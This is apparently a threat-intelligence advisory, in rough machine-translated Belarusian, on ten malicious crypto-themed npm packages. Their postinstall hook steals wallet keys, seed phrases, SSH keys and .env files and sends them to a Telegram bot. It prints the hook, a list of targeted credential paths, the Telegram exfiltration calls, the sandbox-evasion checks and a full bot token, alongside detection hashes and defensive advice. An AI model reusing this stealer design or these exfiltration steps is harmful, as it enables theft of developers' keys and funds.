TL, д-р
9 чэрвеня 2026 года адзіны акаўнт выдаўца npm, aicrypto-xzggg, адпраўлена дзесяць пакетаў з крыпта- і Web3-стылем назваў — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, і яшчэ шэсць.
Кожны пакет выконвае адну і тую ж карысную нагрузку з postinstall хук. Пры ўсталёўцы правяраецца, ці працуе ён унутры непрамежкавай інтэграцыі ці ў пясочніцы — калі не, то чытаюцца сховішчы ключоў кашалька, файлы пачатковых фраз, ключы SSH і .env файлы з шасці блокчэйн-экасістэм і перадае іх боту Telegram.
Адзіны паказчык, на які абаронца можа адразу ж пашукаць, — гэта ідэнтыфікатар бота Telegram. 8227918239.
Цяжар: крытычны — прамое крадзеж ключоў подпісу і фраз аднаўлення з працоўныя станцыі распрацоўшчыкаў.
Атака: як гэта працуе
Пакеты рэкламуюць сябе як утыліты для распрацоўшчыкаў блокчэйнаў. package.json мінімальны і накіроўвае жыццёвы цыкл усталёўкі на скрыпт:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } скрыпты/postinstall.js гэта аднарадковая пракладка, якая загружае рэальную карысную нагрузку: патрабуецца(“../src/index.js”). Таму што пасля ўстаноўкі працуе аўтаматычна падчас ная ўстаноўка, распрацоўшчыку не патрабуецца імпартаваць код — для яго выканання дастаткова размясціць пакет у дрэве залежнасцей.
Ланцуг забойстваў унутры src/index.js гэта чатыры крокі:
- Праверка навакольнага асяроддзя. Функцыя аховы вызначае, ці выглядае хост як агент зборкі або пясочніца для аналізу.
- Затрымка. Выкананне адкладаецца за усталяваць час чакання прыблізна 7.4 секунды.
- Калекцыя. Праходзіць фіксаваны спіс шляхоў да файлаў-кашалькоў, ключоў і сакрэтных файлаў; існуючыя файлы ставяцца ў чаргу.
- Эксфільтрацыя. Файлы з чаргі адпраўляюцца боту Telegram, пасля чаго ім папярэднічае зводнае паведамленне.
Спіс мэтаў калекцыі ахоплівае шэсць ланцужкоў плюс агульныя сакрэты распрацоўшчыка. Абрэзана:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Усяго дваццаць адзін шлях. Запісы каталога, такія як ~/.ethereum/сховішча ключоў пашыраюцца, і кожны файл унутры ставіцца ў чаргу. Эксфільтрацыя выкарыстоўвае API бота Telegram непасрэдна — a адправіць паведамленне выклік з апісаннем хаста і файла, а затым адправіць дакумент шматчасткавая загрузка для кожнага файла:
тэкст
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Зводнае паведамленне, якое збіраецца код, пачынаецца з літаральнага радка КРЫПТА-ЗЛАДЗЕЙ, а затым імя хаста, імя карыстальніка, імя зыходнага пакета, колькасць файлаў і часовая метка.
Што тут новага
Адметнай рысай з'яўляецца не механізм крадзяжу — выключэнне з Telegram ад npm пасля ўстаноўкі hooks добра ўтаптаная. Гэта вароты для выканання пакаранняў. Перад тым, як што-небудзь зрабіць, карысная нагрузка выклікае функцыю, якая вяртае true, калі хост падобны на CI-раннер або пясочніцу, і вяртае раней, калі гэта так:
тэкст
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Рэгулярны выраз container-id — гэта важная фраза: 12-шаснаццатковае імя хаста — гэта форма па змаўчанні, якую Docker прысвойвае кантэйнер, таму карысная нагрузка разглядае «імя майго хаста выглядае як кантэйнер Docker» як прычыну для спячага рэжыму. У спалучэнні з сямісекунднай затрымкай, дызайн спрыяе запуску на рэальнай рабочай станцыі распрацоўшчыка і ціхаму рэжыму ў любым месцы, якое выглядае як аўтаматызаваны аналіз. Менавіта гэты шлюз падаўляў сігналы дынамічнага аналізу і захоўваў статычны паток exfil у якасці асноўнага доказу асуджэння.
Timeline
| Дата (UTC) | падзея |
|---|---|
| 2026-06-09 ~02:48 | Першыя пакеты ў кластары пазначаны пры публікацыі (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Удзельнікі з вышэйшай версіяй пазначаныя (ethereum-kit-9 у 1.25.36, wallet-sdk-9 у 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Канчатковыя ўдзельнікі пазначаны (defi-tools-39 у 4.26.29, swap-sdk-87 у 4.63.78, farming-tools-12 у 4.68.54) |
| 2026-06-09 | Усе дзесяць класіфікаваны як шкоднасныя і пададзеныя заявы на выдаленне з рэестра |
Усе дзесяць з'явіліся прыкладна за семдзесят хвілін, што адпавядае аднаму сцэнарнаму публікацыйнаму запуску з аднаго акаўнта.
Паказчыкі кампрамісу
Сеткавыя і паводніцкія паказчыкі (хост адключаны):
| індыкатар | значэнне |
|---|---|
| Канчатковая кропка Exfil | api[.]telegram[.]org (API бота Telegram) |
| Ідэнтыфікатар бота Telegram | 8227918239 |
| Токен бота | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Ідэнтыфікатар чата ў Telegram | 6433587894 |
| Усталяваць кручок | postinstall → scripts/postinstall.js → src/index.js |
| Маркерны радок | CRYPTO STEALER у сабраным зводным паведамленні |
| Выдавец | aicrypto-xzggg (пазначаны адрас электроннай пошты vipsyria88@gmail[.]com, неправераны) |
Пакеты і версіі, кожная з якіх мае SHA-256 свайго src/index.js карысная нагрузка (карысныя нагрузкі функцыянальна ідэнтычныя і адрозніваюцца толькі ўбудаванай меткай назвы пакета, таму кожны хэш адрозніваецца):
| пакет | версія | SHA-256 для src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Просты пошукавы запыт: пошук журналаў усталёўкі і файлаў блакіроўкі для любога з дзесяці імёнаў, а таксама пошук выходнага трафіку для падключэнняў да API бота Telegram ад хостаў зборкі або распрацоўшчыкаў, якія інакш яго не выкарыстоўваюць.
Атрыбуцыя і назіраная паводзіны
Усе дзесяць пакетаў былі апублікаваныя адным акаўнтам, aicrypto-xzggg, чый пазначаны адрас электроннай пошты vipsyria88@gmail[.]comНі адрас электроннай пошты, ні спасылка на сістэму кантролю версій не пацверджаны ў метададзеных рэестра, а ўліковы запіс мае вельмі негатыўны рэйтынг рэпутацыі. Мы не пацвердзілі, хто кіруе гэтым уліковым запісам.
Дзве дэталі варта аддзяліць ад любой заявы аб ідэнтычнасці. Па-першае, package.json аўтар палявыя чытанні Алекс Сміт на кожным пакеце, у той час як фактычны рахунак публікацыі aicrypto-xzggg; поле аўтара — гэта самаабвешчаныя метададзеныя і не ўстанаўлівае аўтарства. Па-другое, нумары версій моцна адрозніваюцца — некаторыя ўдзельнікі знаходзяцца ў 1.0.0, іншыя ў 4.68.54 — што адпавядае прынцыпу паўторнага выкарыстання адной карыснай нагрузкі для новых назваў пакетаў, а не захавання рэальных гісторый выпускаў.
Паводзіны аднастайныя па ўсім кластары: аднолькавы спіс мэтавых шляхоў, аднолькавы ідэнтыфікатар бота і ідэнтыфікатар чата Telegram, аднолькавы шлюз асяроддзя, аднолькавы КРЫПТА-ЗЛАДЗЕЙ маркер. Гэта аднастайнасць — наймацнейшая сувязь паміж пакетамі. Гэта сігнал аднаго і таго ж аператара, а не ідэнтычнасць.
Уплыў, тэндэнцыі і рэкамендацыі для абаронцаў
Уразлівасць канкрэтная. Распрацоўшчык, які ўсталёўвае любы з гэтых пакетаў на рабочую станцыю, на якой захоўваецца праграмны кашалёк, файл пачатковых фраз або SSH-ключ, зчытвае і перадае гэтыя файлы з хоста на працягу некалькіх секунд. Фразы аднаўлення і ключы падпісання не мінаюць, як токен сесіі; як толькі mnemonic.txt ці Салана id.json пакідае машыну, сродкі, якімі яна кіруе, знаходзяцца пад пагрозай, пакуль яны не будуць перамешчаны. Гэты ж прагон таксама фіксуе .env файлы, якія звычайна ўтрымліваюць ключы API і ўліковыя дадзеныя базы дадзеных.
За гэтым кластарам стаяць дзве тэндэнцыі. Першая — гэта працяглае выкарыстанне крыпта- і Web3-тэматычных назваў для прыцягнення пэўнай аўдыторыі — распрацоўшчыкаў, якія захоўваюць кашалькі і ключы на той жа машыне, на якой яны ўсталёўваюць залежнасці. Другая — гэта развіццё пясочніцы ў карысных нагрузках падчас усталёўкі. Шлюз, які правярае зменныя асяроддзя CI, імёны карыстальнікаў і форму імя хаста Docker container-id, — гэта наўмысная спроба паводзіць сябе інакш пры аналізе, чым на рэальнай рабочай станцыі, і гэта падымае планку для чыста дынамічнага выяўлення.
Для абаронцаў:
Усталёўваць з адключанымі скрыптамі па змаўчанні. npm install –ignore-scriptsабо ўсталяваць ігнараваць-скрыпты=праўда in .npmrc, перашкаджае пасля ўстаноўкі выкананне; уключайце скрыпты толькі для тых канкрэтных залежнасцей, якія сапраўды маюць у іх патрэбу.
Трымайце кашалькі і ключы падпісання па-за машынамі зборкі і распрацоўкі. Выкарыстоўвайце апаратны кашалёк або спецыяльны хост падпісання без залежнасцей.
Лячыць .env, сховішчы ключоў і файлы з пачатковымі фразамі як каштоўныя камяні кароны. Яны ніколі не павінны знаходзіцца ў каталогу, які таксама з'яўляецца ная ўстаноўка працоўнае дрэва.
Шукайце выходныя падключэнні да Telegram Bot API ад неканфігураваных інтэрфейсаў і хостаў распрацоўшчыкаў. Большасць асяроддзяў зборкі ніколі не выклікаюць яго; варта вывучыць тое, якое раптоўна выклікае яго адразу пасля ўсталёўкі.
Замацаванне і прагляд залежнасцей. Зусім новы пакет з агульнай крыпта-назвай, пасля ўстаноўкі перахопнік, і ніводная спасылка на рэпазітар не патрабуе праверкі перад тым, як яна трапіць у файл блакіроўкі.
Пункт аб пазбяганні ідэнтыфікатара кантэйнера таксама з'яўляецца напамінам для аналітыкаў: карысная нагрузка падчас усталёўкі, якая застаецца ў спячым стане ў пясочніцы, не з'яўляецца бяскрыўднай, яна выбарачная. Статычны агляд шляху ўсталёўкі застаецца надзейным спосабам убачыць, што дынамічнае выкананне можа адмовіцца паказаць.
Спасылкі
дакументацыя па ўсталёўцы npm — сцэнарыі жыццёвага цыклу і –ігнараваць-скрыпты— спасылка на адключэнне аўтаматычнай усталёўкі hooks.





